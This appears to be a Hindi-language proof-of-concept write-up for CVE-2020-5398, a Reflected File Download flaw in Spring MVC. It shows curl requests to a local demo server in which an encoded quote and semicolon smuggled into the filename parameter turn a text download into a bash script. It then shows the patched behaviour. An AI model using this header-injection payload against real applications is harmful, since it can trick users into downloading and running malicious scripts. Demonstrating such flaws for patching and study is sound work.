
CVE-2020-5398 - Spring MVC के लिए RFD (Reflected File Download) हमला
स्प्रिंग फ्रेमवर्क में, संस्करण 5.2.x जो 5.2.3 से पहले हैं, संस्करण 5.1.x जो 5.1.13 से पहले हैं, और संस्करण 5.0.x जो 5.0.16 से पहले हैं, कोई एप्लिकेशन रिफ्लेक्टेड फ़ाइल डाउनलोड (RFD) हमले के लिए संवेदनशील है जब वह प्रतिक्रिया में "Content-Disposition" हेडर सेट करता है जहाँ फ़ाइल नाम विशेषता उपयोगकर्ता द्वारा प्रदत्त इनपुट से ली गई हो।
./gradlew bootrun
127.0.0.1:8080 पर सुनें।
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
sample.txt फ़ाइल डाउनलोड करना शुरू करें।
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
sample.sh फ़ाइल डाउनलोड करना शुरू करें। (शेल फ़ाइल)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
sample.sh";.txt फ़ाइल डाउनलोड करना शुरू करें। (टेक्स्ट फ़ाइल)